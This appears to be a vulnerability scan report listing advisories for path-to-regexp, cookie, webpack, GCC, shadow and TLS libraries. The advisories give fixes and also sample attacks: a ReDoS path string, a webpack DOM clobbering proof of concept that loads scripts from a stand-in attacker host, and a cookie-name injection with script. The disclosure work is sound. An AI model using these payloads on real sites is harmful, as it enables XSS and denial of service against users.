 path-to-regexp 0.1.7 (npm)

 Inefficient Regular Expression Complexity
| Affected range | <0.1.10 | | Fixed version | 0.1.10 | | CVSS Score | 7.5 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H | | EPSS Score | 0.04% | | EPSS Percentile | 16th percentile |
Description
Impact
A bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (.). For example, /:a-:b.
Patches
For users of 0.1, upgrade to 0.1.10. All other users should upgrade to 8.0.0.
These versions add backtrack protection when a custom regex pattern is not provided:
They do not protect against vulnerable user supplied capture groups. Protecting against explicit user patterns is out of scope for old versions and not considered a vulnerability.
Version 7.1.0 can enable strict: true and get an error when the regular expression might be bad.
Version 8.0.0 removes the features that can cause a ReDoS.
Workarounds
All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change /:a-:b to /:a-:b([^-/]+).
If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. For example, halving the attack string improves performance by 4x faster.
Details
Using /:a-:b will produce the regular expression /^\/([^\/]+?)-([^\/]+?)\/?$/. This can be exploited by a path such as /a${'-a'.repeat(8_000)}/a. OWASP has a good example of why this occurs, but the TL;DR is the /a at the end ensures this route would never match but due to naive backtracking it will still attempt every combination of the :a-:b on the repeated 8,000 -a.
Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and can lead to a DoS. In local benchmarks, exploiting the unsafe regex will result in performance that is over 1000x worse than the safe regex. In a more realistic environment using Express v4 and 10 concurrent connections, this translated to average latency of ~600ms vs 1ms.

Description
Issue summary: Applications performing certificate name checks (e.g., TLS clients checking server certificates) may attempt to read an invalid memory address resulting in abnormal termination of the application process. Impact summary: Abnormal termination of an application can a cause a denial of service. Applications performing certificate name checks (e.g., TLS clients checking server certificates) may attempt to read an invalid memory address when comparing the expected name with an otherName subject alternative name of an X.509 certificate. This may result in an exception that terminates the application program. Note that basic certificate chain validation (signatures, dates, ...) is not affected, the denial of service can occur only when the application also specifies an expected DNS name, Email address or IP address. TLS servers rarely solicit client certificates, and even when they do, they generally don't perform a name check against a reference identifier (expected identity), but rather extract the presented identity after checking the certificate chain. So TLS servers are generally not affected and the severity of the issue is Moderate. The FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue.

Description
Validating the order of the public keys in the Diffie-Hellman Key Agreement Protocol, when an approved safe prime is used, allows remote attackers (from the client side) to trigger unnecessarily expensive server-side DHE modular-exponentiation calculations. The client may cause asymmetric resource consumption. The basic attack scenario is that the client must claim that it can only communicate with DHE, and the server must be configured to allow DHE and validate the order of the public key.

Description
DISPUTEDA failure in the -fstack-protector feature in GCC-based toolchains that target AArch64 allows an attacker to exploit an existing buffer overflow in dynamically-sized local variables in your application without this being detected. This stack-protector failure only applies to C99-style dynamically-sized local variables or those created using alloca(). The stack-protector operates as intended for statically-sized local variables. The default behavior when the stack-protector detects an overflow is to terminate your application, resulting in controlled loss of availability. An attacker who can exploit a buffer overflow without triggering the stack-protector might be able to change program flow control to cause an uncontrolled loss of availability or to go further and affect confidentiality or integrity. NOTE: The GCC project argues that this is a missed hardening bug and not a vulnerability by itself.

Description
Summary
We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadgets found in Webpack
We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:
/******/ /* webpack/runtime/publicPath */
/******/ (() => {
/******/ var scriptUrl;
/******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ var document = __webpack_require__.g.document;
/******/ if (!scriptUrl && document) {
/******/ if (document.currentScript)
/******/ scriptUrl = document.currentScript.src;
/******/ if (!scriptUrl) {
/******/ var scripts = document.getElementsByTagName("script");
/******/ if(scripts.length) {
/******/ var i = scripts.length - 1;
/******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ }
/******/ }
/******/ }
/******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ __webpack_require__.p = scriptUrl;
/******/ })();
However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to __webpack_require__.p. If additional scripts are loaded from the server, __webpack_require__.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.
PoC
Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.
Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:
// entry.js
import('./import1.js')
.then(module => {
module.hello();
})
.catch(err => {
console.error('Failed to load module', err);
});
// import1.js
export function hello () {
console.log('Hello');
}
The webpack.config.js is set up as follows:
const path = require('path');
module.exports = {
entry: './entry.js', // Ensure the correct path to your entry file
output: {
filename: 'webpack-gadgets.bundle.js', // Output bundle file
path: path.resolve(__dirname, 'dist'), // Output directory
publicPath: "auto", // Or leave this field not set
},
target: 'web',
mode: 'development',
};
When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>Webpack Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>
Impact
This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.
Patch
A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174
/******/ /* webpack/runtime/publicPath */
/******/ (() => {
/******/ var scriptUrl;
/******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ var document = __webpack_require__.g.document;
/******/ if (!scriptUrl && document) {
/******/ if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ scriptUrl = document.currentScript.src;
/******/ if (!scriptUrl) {
/******/ var scripts = document.getElementsByTagName("script");
/******/ if(scripts.length) {
/******/ var i = scripts.length - 1;
/******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ }
/******/ }
/******/ }
/******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ __webpack_require__.p = scriptUrl;
/******/ })();
Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

Description
Impact
The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value) would result in "userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test", setting userName cookie to <script> and ignoring value.
A similar escape can be used for path and domain, which could be abused to alter other fields of the cookie.
Patches
Upgrade to 0.7.0, which updates the validation for name, path, and domain.
Workarounds
Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.

cookie 0.4.2 (npm)
pkg:npm/cookie@0.4.2
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
| Affected range | <0.7.0 | | Fixed version | 0.7.0 | | EPSS Score | 0.04% | | EPSS Percentile | 16th percentile |
Description
Impact
The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value) would result in "userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test", setting userName cookie to <script> and ignoring value.
A similar escape can be used for path and domain, which could be abused to alter other fields of the cookie.
Patches
Upgrade to 0.7.0, which updates the validation for name, path, and domain.
Workarounds
Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.

shadow 1:4.8.1-2ubuntu2.2 (deb)
pkg:deb/ubuntu/shadow@1:4.8.1-2ubuntu2.2?os_distro=jammy&os_name=ubuntu&os_version=22.04
| Affected range | >=0 | | Fixed version | Not Fixed | | CVSS Score | 3.3 | | CVSS Vector | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N | | EPSS Score | 0.04% | | EPSS Percentile | 16th percentile |
Description
In Shadow 4.13, it is possible to inject control characters into fields provided to the SUID program chfn (change finger). Although it is not possible to exploit this directly (e.g., adding a new user fails because \n is in the block list), it is possible to misrepresent the /etc/passwd file when viewed. Use of \r manipulations and Unicode characters to work around blocking of the : character make it possible to give the impression that a new user has been added. In other words, an adversary may be able to convince a system administrator to take the system offline (an indirect, social-engineered denial of service) by demonstrating that "cat /etc/passwd" shows a rogue user account.
